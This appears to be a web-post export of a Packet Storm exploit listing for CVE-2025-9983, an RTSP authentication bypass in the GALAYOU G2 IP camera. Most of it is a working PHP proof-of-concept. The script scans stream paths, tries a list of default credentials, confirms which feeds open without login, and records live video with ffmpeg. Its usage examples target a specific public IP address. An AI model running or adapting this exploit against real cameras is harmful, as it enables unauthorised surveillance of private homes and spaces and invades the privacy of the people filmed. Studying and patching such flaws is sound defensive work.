{"id":32545,"date":"2025-12-23T11:54:33","date_gmt":"2025-12-23T11:54:33","guid":{"rendered":"http:\/\/localhost\/?p=32545"},"modified":"2025-12-23T11:54:33","modified_gmt":"2025-12-23T11:54:33","slug":"galayou-g2-ip-camera-authentication-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32545","title":{"rendered":"\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass_PACKETSTORM:213259"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:04&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in the RTSP service of the GALAYOU G2 IP camera. The device exposes multiple RTSP stream endpoints that can be accessed without valid credentials, even when authentication is enabled&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 GALAYOU G2 IP Camera Authentication Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213259&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9983&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : GALAYOU G2 IP Camera \u2013 RTSP Credential Authentication Bypass                                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.galayou-store.com\/g2                                                                                            |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/210931\/ \\u0026 \\tCVE-2025-9983\\n    \\n    [+] Summary    : A critical authentication bypass vulnerability exists in the RTSP service of the GALAYOU G2 IP camera.\\n                     The device exposes multiple RTSP stream endpoints that can be accessed without valid credentials, even when authentication is enabled.\\n    \\n    An unauthenticated remote attacker can directly connect to the video stream and retrieve live footage without authorization.\\n    \\n    [+] POC :\\n    \\n    Steps to use it on Windows: Download and install FFmpeg:\\n    \\n    1. Go to: https:\/\/ffmpeg.org\/download.html\\n    2. Select \\&#8221;Windows builds from gyan.dev\\&#8221;\\n    3. Download the latest version (e.g., ffmpeg-release-essentials.zip)\\n    4. Extract and copy:\\n    \\n    &#8211; ffmpeg.exe\\n    \\n    &#8211; ffprobe.exe\\n    \\n    5. Place both files in the same PHP script folder\\n    \\n    2. Using it from the command line:\\n    \\n    # Simple method:\\n    php poc.php 14.45.222.129\\n    \\n    # Or using the options:\\n    php poc.php -t 14.45.222.129\\n    \\n    # With a custom port:\\n    php poc.php -t 14.45.222.129 -p 8554\\n    \\n    3. If FFmpeg elsewhere:\\n    \\n    # You can add it to the PATH environment variables:\\n    1. Press Win + R and type \\&#8221;systempropertiesadvanced\\&#8221;\\n    2. Click \\&#8221;Environment Variables\\&#8221;\\n    3. In \\&#8221;System variables\\&#8221;, select \\&#8221;Path\\&#8221; and click \\&#8221;Edit\\&#8221;\\n    4. Add the path to the ffmpeg folder\\n    5. Restart Command Prompt\\n    \\n    \\u003c?php\\n    \\n    class RTSPBypassExploit {\\n        private $target;\\n        private $port = 554;\\n        private $streams = [];\\n        private $timeout = 8;\\n        private $captureDuration = 5;\\n        private $cliMode = true;\\n        private $isWindows = false;\\n        \\n        public function __construct($target, $cliMode = true) {\\n            $this-\\u003etarget = $target;\\n            $this-\\u003ecliMode = $cliMode;\\n            $this-\\u003eisWindows = (strtoupper(substr(PHP_OS, 0, 3)) === &#8216;WIN&#8217;);\\n        }\\n        \\n        \/**\\n         * \u062a\u0646\u0641\u064a\u0630 \u0623\u0645\u0631 ffprobe \u0628\u0634\u0643\u0644 \u0622\u0645\u0646\\n         *\/\\n        private function executeFFprobe($url) {\\n            if ($this-\\u003eisWindows) {\\n                \/\/ \u0623\u0645\u0631 Windows\\n                $command = sprintf(\\n                    &#8216;ffprobe.exe -loglevel error -rtsp_transport tcp -timeout 3000000 -i \\&#8221;%s\\&#8221; 2\\u003e\\u00261&#8217;,\\n                    $url\\n                );\\n            } else {\\n                \/\/ \u0623\u0645\u0631 Linux\/Unix\\n                $command = sprintf(\\n                    &#8216;timeout %d ffprobe -loglevel error -rtsp_transport tcp -timeout 3000000 -i %s 2\\u003e\\u00261&#8217;,\\n                    $this-\\u003etimeout,\\n                    escapeshellarg($url)\\n                );\\n            }\\n            \\n            $output = [];\\n            $returnCode = 0;\\n            \\n            exec($command, $output, $returnCode);\\n            \\n            $outputStr = implode(\\&#8221;\\\\n\\&#8221;, $output);\\n            \\n            \/\/ \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0644\u0644\u062a\u0634\u062e\u064a\u0635\\n            if ($this-\\u003ecliMode) {\\n                echo \\&#8221;[DEBUG] Testing: {$url}\\\\n\\&#8221;;\\n                if (strlen($outputStr) \\u003e 0) {\\n                    echo \\&#8221;[DEBUG] Output: \\&#8221; . substr($outputStr, 0, 200) . \\&#8221;\\\\n\\&#8221;;\\n                }\\n            }\\n            \\n            \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0646\u062c\u0627\u062d\\n            if ($returnCode === 0) {\\n                return true;\\n            }\\n            \\n            \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0623\u062e\u0637\u0627\u0621 401 (\u063a\u064a\u0631 \u0645\u0635\u0631\u062d)\\n            if (strpos($outputStr, &#8216;401&#8217;) === false \\u0026\\u0026 \\n                strpos($outputStr, &#8216;Unauthorized&#8217;) === false) {\\n                \/\/ \u0644\u0627 \u064a\u0648\u062c\u062f \u062e\u0637\u0623 401\u060c \u0642\u062f \u064a\u0643\u0648\u0646 \u0627\u0644\u0648\u0635\u0648\u0644 \u0645\u0645\u0643\u0646\u0627\u064b\\n                if (strpos($outputStr, &#8216;Connection refused&#8217;) === false \\u0026\\u0026\\n                    strpos($outputStr, &#8216;Connection timed out&#8217;) === false \\u0026\\u0026\\n                    strpos($outputStr, &#8216;Unable to open&#8217;) === false) {\\n                    return true;\\n                }\\n            }\\n            \\n            return false;\\n        }\\n        \\n        \/**\\n         * \u0641\u062d\u0635 \u0648\u062c\u0648\u062f \u062f\u0641\u0642 RTSP\\n         *\/\\n        public function checkStream($url) {\\n            try {\\n                return $this-\\u003eexecuteFFprobe($url);\\n            } catch (Exception $e) {\\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;[-] Error checking stream: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                return false;\\n            }\\n        }\\n        \\n        \/**\\n         * \u0645\u0633\u062d \u062c\u0645\u064a\u0639 \u0645\u0633\u0627\u0631\u0627\u062a RTSP \u0627\u0644\u0645\u062d\u062a\u0645\u0644\u0629\\n         *\/\\n        public function scanStreams() {\\n            $paths = [\\n                \\&#8221;\/live\/main\\&#8221;, \\&#8221;\/stream1\\&#8221;, \\&#8221;\/stream2\\&#8221;, \\&#8221;\/h264\\&#8221;, \\n                \\&#8221;\/11\\&#8221;, \\&#8221;\/12\\&#8221;, \\&#8221;\/cam\/realmonitor\\&#8221;, \\&#8221;\/media\/video1\\&#8221;,\\n                \\&#8221;\/main\\&#8221;, \\&#8221;\/sub\\&#8221;, \\&#8221;\/video\\&#8221;, \\&#8221;\/live\\&#8221;,\\n                \\&#8221;\/0\\&#8221;, \\&#8221;\/1\\&#8221;, \\&#8221;\/2\\&#8221;, \\&#8221;\/ch0_0.h264\\&#8221;, \\&#8221;\/ch0_1.h264\\&#8221;\\n            ];\\n            \\n            $found = 0;\\n            \\n            foreach ($paths as $path) {\\n                \/\/ \u0627\u0644\u0645\u062d\u0627\u0648\u0644\u0629 \u0628\u062f\u0648\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f\\n                $url = \\&#8221;rtsp:\/\/{$this-\\u003etarget}:{$this-\\u003eport}{$path}\\&#8221;;\\n                if ($this-\\u003echeckStream($url)) {\\n                    $this-\\u003estreams[] = [\\n                        &#8216;url&#8217; =\\u003e $url,\\n                        &#8216;type&#8217; =\\u003e &#8216;no_auth&#8217;,\\n                        &#8216;tested&#8217; =\\u003e false\\n                    ];\\n                    $found++;\\n                    if ($this-\\u003ecliMode) {\\n                        echo \\&#8221;[+] Found stream: {$url}\\\\n\\&#8221;;\\n                    }\\n                }\\n                \\n                \/\/ \u0627\u0644\u0645\u062d\u0627\u0648\u0644\u0629 \u0628\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629\\n                $credentials = [\\n                    &#8216;admin:admin&#8217;,\\n                    &#8216;admin:123456&#8217;,\\n                    &#8216;admin:password&#8217;,\\n                    &#8216;admin:&#8217;,\\n                    &#8216;user:user&#8217;,\\n                    &#8216;admin:admin123&#8217;\\n                ];\\n                \\n                foreach ($credentials as $cred) {\\n                    $testUrl = \\&#8221;rtsp:\/\/{$cred}@{$this-\\u003etarget}:{$this-\\u003eport}{$path}\\&#8221;;\\n                    if ($this-\\u003echeckStream($testUrl)) {\\n                        $this-\\u003estreams[] = [\\n                            &#8216;url&#8217; =\\u003e $testUrl,\\n                            &#8216;type&#8217; =\\u003e &#8216;with_auth&#8217;,\\n                            &#8216;tested&#8217; =\\u003e false\\n                        ];\\n                        $found++;\\n                        if ($this-\\u003ecliMode) {\\n                            echo \\&#8221;[+] Found stream with creds {$cred}: {$testUrl}\\\\n\\&#8221;;\\n                        }\\n                        break; \/\/ \u0627\u0643\u062a\u0641\u0627\u0621 \u0628\u0623\u0648\u0644 \u0645\u062c\u0645\u0648\u0639\u0629 \u0646\u0627\u062c\u062d\u0629\\n                    }\\n                }\\n                \\n                \/\/ \u0625\u0636\u0627\u0641\u0629 \u062a\u0623\u062e\u064a\u0631 \u0644\u062a\u062c\u0646\u0628 \u062d\u0645\u0644 \u0643\u0628\u064a\u0631 \u0639\u0644\u0649 \u0627\u0644\u062e\u0627\u062f\u0645\\n                if ($this-\\u003eisWindows) {\\n                    usleep(50000); \/\/ 0.05 \u062b\u0627\u0646\u064a\u0629\\n                }\\n            }\\n            \\n            return $found;\\n        }\\n        \\n        \/**\\n         * \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629\\n         *\/\\n        public function verifyBypass() {\\n            $vulnerableStreams = [];\\n            \\n            foreach ($this-\\u003estreams as \\u0026$stream) {\\n                if ($stream[&#8216;tested&#8217;]) {\\n                    continue;\\n                }\\n                \\n                \/\/ \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0646\u0638\u064a\u0641 (\u0625\u0632\u0627\u0644\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0625\u0646 \u0648\u062c\u062f\u062a)\\n                $url = $stream[&#8216;url&#8217;];\\n                \\n                if (strpos($url, &#8216;@&#8217;) !== false) {\\n                    $parts = explode(&#8216;@&#8217;, $url);\\n                    $cleanUrl = \\&#8221;rtsp:\/\/\\&#8221; . end($parts);\\n                } else {\\n                    $cleanUrl = $url;\\n                }\\n                \\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;[*] Testing bypass for: \\&#8221; . htmlspecialchars($cleanUrl) . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                \\n                if ($this-\\u003echeckStream($cleanUrl)) {\\n                    if ($this-\\u003ecliMode) {\\n                        echo \\&#8221;[!] VULNERABLE: \\&#8221; . htmlspecialchars($cleanUrl) . \\&#8221;\\\\n\\&#8221;;\\n                    }\\n                    $stream[&#8216;vulnerable&#8217;] = true;\\n                    $vulnerableStreams[] = $cleanUrl;\\n                    \\n                    \/\/ \u0627\u0644\u062a\u0642\u0627\u0637 \u0627\u0644\u062f\u0641\u0642\\n                    $this-\\u003ecaptureStream($cleanUrl);\\n                } else {\\n                    $stream[&#8216;vulnerable&#8217;] = false;\\n                }\\n                \\n                $stream[&#8216;tested&#8217;] = true;\\n            }\\n            \\n            return $vulnerableStreams;\\n        }\\n        \\n        \/**\\n         * \u0627\u0644\u062a\u0642\u0627\u0637 \u062f\u0641\u0642 \u0627\u0644\u0641\u064a\u062f\u064a\u0648\\n         *\/\\n        public function captureStream($url) {\\n            $timestamp = time();\\n            $outputFile = \\&#8221;capture_{$this-\\u003etarget}_{$timestamp}.mp4\\&#8221;;\\n            \\n            if ($this-\\u003eisWindows) {\\n                $command = sprintf(\\n                    &#8216;ffmpeg.exe -y -rtsp_transport tcp -i \\&#8221;%s\\&#8221; -t %d -c copy \\&#8221;%s\\&#8221; 2\\u003enul&#8217;,\\n                    $url,\\n                    $this-\\u003ecaptureDuration,\\n                    $outputFile\\n                );\\n            } else {\\n                $command = sprintf(\\n                    &#8216;timeout %d ffmpeg -y -rtsp_transport tcp -i %s -t %d -c copy %s 2\\u003e\/dev\/null&#8217;,\\n                    $this-\\u003ecaptureDuration + 5,\\n                    escapeshellarg($url),\\n                    $this-\\u003ecaptureDuration,\\n                    escapeshellarg($outputFile)\\n                );\\n            }\\n            \\n            if ($this-\\u003ecliMode) {\\n                echo \\&#8221;[*] Capturing {$this-\\u003ecaptureDuration} seconds to: {$outputFile}\\\\n\\&#8221;;\\n            }\\n            \\n            exec($command, $output, $returnCode);\\n            \\n            if (file_exists($outputFile) \\u0026\\u0026 filesize($outputFile) \\u003e 1024) {\\n                $size = filesize($outputFile);\\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;[+] Capture successful: {$outputFile} (\\&#8221; . $this-\\u003eformatBytes($size) . \\&#8221;)\\\\n\\&#8221;;\\n                }\\n                return $outputFile;\\n            } elseif (file_exists($outputFile)) {\\n                \/\/ \u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u062c\u062f\u0627\u064b (\u0641\u0634\u0644 \u0627\u0644\u062a\u0642\u0627\u0637)\\n                unlink($outputFile);\\n            }\\n            \\n            return false;\\n        }\\n        \\n        \/**\\n         * \u062a\u0646\u0633\u064a\u0642 \u062d\u062c\u0645 \u0627\u0644\u0645\u0644\u0641 \u0644\u0644\u0639\u0631\u0636\\n         *\/\\n        private function formatBytes($bytes, $precision = 2) {\\n            $units = [&#8216;B&#8217;, &#8216;KB&#8217;, &#8216;MB&#8217;, &#8216;GB&#8217;, &#8216;TB&#8217;];\\n            $bytes = max($bytes, 0);\\n            $pow = floor(($bytes ? log($bytes) : 0) \/ log(1024));\\n            $pow = min($pow, count($units) &#8211; 1);\\n            $bytes \/= pow(1024, $pow);\\n            \\n            return round($bytes, $precision) . &#8216; &#8216; . $units[$pow];\\n        }\\n        \\n        \/**\\n         * \u0641\u062d\u0635 \u0627\u0644\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0646\u0638\u0627\u0645\u064a\u0629 \u0644\u0646\u0638\u0627\u0645 Windows\\n         *\/\\n        private function checkWindowsRequirements() {\\n            $tools = [\\n                &#8216;ffprobe&#8217; =\\u003e &#8216;ffprobe.exe&#8217;,\\n                &#8216;ffmpeg&#8217; =\\u003e &#8216;ffmpeg.exe&#8217;\\n            ];\\n            \\n            $missing = [];\\n            \\n            \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0623\u062f\u0648\u0627\u062a \u0641\u064a \u0627\u0644\u0645\u0633\u0627\u0631 \u0623\u0648 \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u062d\u0627\u0644\u064a\\n            foreach ($tools as $name =\\u003e $exe) {\\n                $found = false;\\n                \\n                \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0641\u064a \u0627\u0644\u0645\u0633\u0627\u0631\\n                $pathCheck = shell_exec(&#8216;where &#8216; . $exe . &#8216; 2\\u003enul&#8217;);\\n                if (!empty($pathCheck)) {\\n                    $found = true;\\n                }\\n                \\n                \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0641\u064a \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u062d\u0627\u0644\u064a\\n                if (!$found \\u0026\\u0026 file_exists($exe)) {\\n                    $found = true;\\n                }\\n                \\n                \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0641\u064a \u062f\u0644\u064a\u0644 ffmpeg \u0627\u0644\u0634\u0627\u0626\u0639\\n                if (!$found \\u0026\\u0026 file_exists(&#8216;ffmpeg\\\\\\\\bin\\\\\\\\&#8217; . $exe)) {\\n                    $found = true;\\n                }\\n                \\n                if (!$found) {\\n                    $missing[] = $name;\\n                }\\n            }\\n            \\n            if (!empty($missing)) {\\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;[-] Missing required tools: \\&#8221; . implode(&#8216;, &#8216;, $missing) . \\&#8221;\\\\n\\&#8221;;\\n                    echo \\&#8221;[-] Please download ffmpeg from: https:\/\/ffmpeg.org\/download.html\\\\n\\&#8221;;\\n                    echo \\&#8221;[-] Extract ffmpeg.exe and ffprobe.exe to this directory or add to PATH\\\\n\\&#8221;;\\n                }\\n                return false;\\n            }\\n            \\n            return true;\\n        }\\n        \\n        \/**\\n         * \u0641\u062d\u0635 \u0627\u0644\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0646\u0638\u0627\u0645\u064a\u0629 \u0644\u0646\u0638\u0627\u0645 Linux\\n         *\/\\n        private function checkLinuxRequirements() {\\n            $requirements = [\\n                &#8216;ffprobe&#8217; =\\u003e &#8216;which ffprobe 2\\u003e\/dev\/null&#8217;,\\n                &#8216;ffmpeg&#8217; =\\u003e &#8216;which ffmpeg 2\\u003e\/dev\/null&#8217;,\\n                &#8216;timeout&#8217; =\\u003e &#8216;which timeout 2\\u003e\/dev\/null&#8217;\\n            ];\\n            \\n            $missing = [];\\n            \\n            foreach ($requirements as $tool =\\u003e $command) {\\n                exec($command, $output, $returnCode);\\n                if ($returnCode !== 0) {\\n                    $missing[] = $tool;\\n                }\\n            }\\n            \\n            if (!empty($missing)) {\\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;[-] Missing required tools: \\&#8221; . implode(&#8216;, &#8216;, $missing) . \\&#8221;\\\\n\\&#8221;;\\n                    echo \\&#8221;[-] Install with: sudo apt-get install ffmpeg coreutils\\\\n\\&#8221;;\\n                }\\n                return false;\\n            }\\n            \\n            return true;\\n        }\\n        \\n        \/**\\n         * \u0641\u062d\u0635 \u0627\u0644\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0646\u0638\u0627\u0645\u064a\u0629 \u0627\u0644\u0639\u0627\u0645\u0629\\n         *\/\\n        private function checkRequirements() {\\n            \/\/ \u0641\u062d\u0635 \u0635\u0644\u0627\u062d\u064a\u0627\u062a exec\\n            if (!function_exists(&#8216;exec&#8217;)) {\\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;[-] exec() function is disabled in php.ini\\\\n\\&#8221;;\\n                    echo \\&#8221;[-] Enable it or contact your administrator\\\\n\\&#8221;;\\n                }\\n                return false;\\n            }\\n            \\n            if ($this-\\u003eisWindows) {\\n                return $this-\\u003echeckWindowsRequirements();\\n            } else {\\n                return $this-\\u003echeckLinuxRequirements();\\n            }\\n        }\\n        \\n        \/**\\n         * \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n         *\/\\n        public function exploit() {\\n            if ($this-\\u003ecliMode) {\\n                echo \\&#8221;========================================\\\\n\\&#8221;;\\n                echo \\&#8221;CVE-2025-9983 &#8211; GALAYOU G2 RTSP Bypass\\\\n\\&#8221;;\\n                echo \\&#8221;                By indoushka           \\\\n\\&#8221;;\\n                echo \\&#8221;Target: {$this-\\u003etarget}\\\\n\\&#8221;;\\n                echo \\&#8221;OS: \\&#8221; . ($this-\\u003eisWindows ? &#8216;Windows&#8217; : &#8216;Linux\/Unix&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                echo \\&#8221;========================================\\\\n\\\\n\\&#8221;;\\n            }\\n            \\n            \/\/ \u0641\u062d\u0635 \u0627\u0644\u0645\u062a\u0637\u0644\u0628\u0627\u062a\\n            if (!$this-\\u003echeckRequirements()) {\\n                return [\\n                    &#8216;success&#8217; =\\u003e false,\\n                    &#8216;message&#8217; =\\u003e &#8216;Missing requirements&#8217;,\\n                    &#8216;streams&#8217; =\\u003e []\\n                ];\\n            }\\n            \\n            \/\/ \u0627\u0644\u0645\u0633\u062d\\n            if ($this-\\u003ecliMode) {\\n                echo \\&#8221;[*] Scanning for RTSP streams&#8230;\\\\n\\&#8221;;\\n            }\\n            \\n            $found = $this-\\u003escanStreams();\\n            \\n            if ($found === 0) {\\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;[-] No streams found\\\\n\\&#8221;;\\n                    echo \\&#8221;[*] Possible reasons:\\\\n\\&#8221;;\\n                    echo \\&#8221;    1. Camera is not accessible\\\\n\\&#8221;;\\n                    echo \\&#8221;    2. Port 554 is blocked\\\\n\\&#8221;;\\n                    echo \\&#8221;    3. Camera uses different RTSP paths\\\\n\\&#8221;;\\n                }\\n                return [\\n                    &#8216;success&#8217; =\\u003e false,\\n                    &#8216;message&#8217; =\\u003e &#8216;No streams found&#8217;,\\n                    &#8216;streams&#8217; =\\u003e []\\n                ];\\n            }\\n            \\n            if ($this-\\u003ecliMode) {\\n                echo \\&#8221;\\\\n[*] Found {$found} stream(s)\\\\n\\&#8221;;\\n                echo \\&#8221;[*] Verifying credential bypass&#8230;\\\\n\\\\n\\&#8221;;\\n            }\\n            \\n            $vulnerable = $this-\\u003everifyBypass();\\n            \\n            if (!empty($vulnerable)) {\\n                $result = [\\n                    &#8216;success&#8217; =\\u003e true,\\n                    &#8216;message&#8217; =\\u003e &#8216;Exploitation successful&#8217;,\\n                    &#8216;vulnerable_count&#8217; =\\u003e count($vulnerable),\\n                    &#8216;vulnerable_streams&#8217; =\\u003e $vulnerable,\\n                    &#8216;all_streams&#8217; =\\u003e $this-\\u003estreams\\n                ];\\n                \\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;\\\\n[+] Exploitation successful!\\\\n\\&#8221;;\\n                    echo \\&#8221;[+] Vulnerable streams: \\&#8221; . count($vulnerable) . \\&#8221;\\\\n\\&#8221;;\\n                    foreach ($vulnerable as $stream) {\\n                        echo \\&#8221;    &#8211; \\&#8221; . htmlspecialchars($stream) . \\&#8221;\\\\n\\&#8221;;\\n                    }\\n                }\\n            } else {\\n                $result = [\\n                    &#8216;success&#8217; =\\u003e false,\\n                    &#8216;message&#8217; =\\u003e &#8216;No vulnerable streams found&#8217;,\\n                    &#8216;vulnerable_count&#8217; =\\u003e 0,\\n                    &#8216;all_streams&#8217; =\\u003e $this-\\u003estreams\\n                ];\\n                \\n                if ($this-\\u003ecliMode) {\\n                    echo \\&#8221;\\\\n[-] No vulnerable streams found\\\\n\\&#8221;;\\n                    echo \\&#8221;[*] The camera might not be vulnerable to CVE-2025-9983\\\\n\\&#8221;;\\n                }\\n            }\\n            \\n            return $result;\\n        }\\n    }\\n    \\n    \/\/ ==================== \u0645\u0639\u0627\u0644\u062c CLI ====================\\n    if (PHP_SAPI === &#8216;cli&#8217;) {\\n        \/\/ \u062a\u062d\u0644\u064a\u0644 \u0648\u0633\u0627\u0626\u0637 CLI \u0628\u0634\u0643\u0644 \u0645\u0628\u0633\u0637\\n        $target = &#8221;;\\n        $port = 554;\\n        \\n        if ($argc \\u003e= 2) {\\n            \/\/ \u062f\u0639\u0645 \u0634\u0643\u0644\u064a\u0646: poc.php 192.168.1.1 \u0623\u0648 poc.php -t 192.168.1.1\\n            if ($argv[1] == &#8216;-t&#8217; \\u0026\\u0026 isset($argv[2])) {\\n                $target = $argv[2];\\n                if (isset($argv[3]) \\u0026\\u0026 ($argv[3] == &#8216;-p&#8217; || $argv[3] == &#8216;&#8211;port&#8217;) \\u0026\\u0026 isset($argv[4])) {\\n                    $port = intval($argv[4]);\\n                }\\n            } else {\\n                $target = $argv[1];\\n            }\\n        }\\n        \\n        if (empty($target)) {\\n            echo \\&#8221;GALAYOU G2 RTSP Credential Bypass Exploit (Windows\/Linux)\\\\n\\&#8221;;\\n            echo \\&#8221;=========================================================\\\\n\\&#8221;;\\n            echo \\&#8221;Usage:\\\\n\\&#8221;;\\n            echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; \\u003ctarget_ip\\u003e\\\\n\\&#8221;;\\n            echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; -t \\u003ctarget_ip\\u003e [-p \\u003cport\\u003e]\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nExamples:\\\\n\\&#8221;;\\n            echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; 192.168.1.100\\\\n\\&#8221;;\\n            echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; -t 192.168.1.100 -p 554\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nNote for Windows users:\\\\n\\&#8221;;\\n            echo \\&#8221;  1. Download ffmpeg from: https:\/\/ffmpeg.org\/download.html\\\\n\\&#8221;;\\n            echo \\&#8221;  2. Extract ffmpeg.exe and ffprobe.exe to this directory\\\\n\\&#8221;;\\n            exit(0);\\n        }\\n        \\n        \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 IP\\n        if (!filter_var($target, FILTER_VALIDATE_IP)) {\\n            echo \\&#8221;[-] Error: Invalid IP address\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        \/\/ \u0625\u0646\u0634\u0627\u0621 \u0648\u062a\u0646\u0641\u064a\u0630\\n        $exploit = new RTSPBypassExploit($target, true);\\n        $result = $exploit-\\u003eexploit();\\n        \\n        if (!$result[&#8216;success&#8217;]) {\\n            exit(1);\\n        }\\n        \\n        exit(0);\\n        \\n    } else {\\n        \/\/ ==================== \u0648\u0627\u062c\u0647\u0629 \u0648\u064a\u0628 \u0645\u0628\u0633\u0637\u0629 ====================\\n        ?\\u003e\\n        \\u003c!DOCTYPE html\\u003e\\n        \\u003chtml lang=\\&#8221;en\\&#8221;\\u003e\\n        \\u003chead\\u003e\\n            \\u003cmeta charset=\\&#8221;UTF-8\\&#8221;\\u003e\\n            \\u003cmeta name=\\&#8221;viewport\\&#8221; content=\\&#8221;width=device-width, initial-scale=1.0\\&#8221;\\u003e\\n            \\u003ctitle\\u003eCVE-2025-9983 &#8211; RTSP Bypass\\u003c\/title\\u003e\\n            \\u003cstyle\\u003e\\n                body { font-family: Arial, sans-serif; margin: 20px; }\\n                .container { max-width: 800px; margin: 0 auto; }\\n                h1 { color: #333; }\\n                .form-group { margin: 15px 0; }\\n                input[type=\\&#8221;text\\&#8221;] { padding: 8px; width: 300px; }\\n                button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }\\n                .result { margin-top: 20px; padding: 15px; background: #f5f5f5; border-radius: 5px; }\\n                .warning { color: #856404; background: #fff3cd; padding: 10px; border-radius: 5px; }\\n            \\u003c\/style\\u003e\\n        \\u003c\/head\\u003e\\n        \\u003cbody\\u003e\\n            \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                \\u003ch1\\u003eCVE-2025-9983 &#8211; GALAYOU G2 RTSP Bypass\\u003c\/h1\\u003e\\n                \\n                \\u003cdiv class=\\&#8221;warning\\&#8221;\\u003e\\n                    \\u003cstrong\\u003e Warning:\\u003c\/strong\\u003e This tool is for educational purposes only.\\n                    Use only on systems you own or have permission to test.\\n                \\u003c\/div\\u003e\\n                \\n                \\u003cp\\u003eFor full functionality, please use the CLI version.\\u003c\/p\\u003e\\n                \\u003cp\\u003e\\u003cstrong\\u003eCLI Usage:\\u003c\/strong\\u003e \\u003ccode\\u003ephp \\u003c?php echo basename(__FILE__); ?\\u003e \\u0026lt;target_ip\\u0026gt;\\u003c\/code\\u003e\\u003c\/p\\u003e\\n                \\n                \\u003chr\\u003e\\n                \\n                \\u003ch3\\u003eDownload FFmpeg for Windows:\\u003c\/h3\\u003e\\n                \\u003col\\u003e\\n                    \\u003cli\\u003eDownload from: \\u003ca href=\\&#8221;https:\/\/ffmpeg.org\/download.html\\&#8221; target=\\&#8221;_blank\\&#8221;\\u003ehttps:\/\/ffmpeg.org\/download.html\\u003c\/a\\u003e\\u003c\/li\\u003e\\n                    \\u003cli\\u003eChoose \\&#8221;Windows builds from gyan.dev\\&#8221;\\u003c\/li\\u003e\\n                    \\u003cli\\u003eDownload the latest release\\u003c\/li\\u003e\\n                    \\u003cli\\u003eExtract ffmpeg.exe and ffprobe.exe to the same directory as this script\\u003c\/li\\u003e\\n                \\u003c\/ol\\u003e\\n            \\u003c\/div\\u003e\\n        \\u003c\/body\\u003e\\n        \\u003c\/html\\u003e\\n        \\u003c?php\\n    }\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    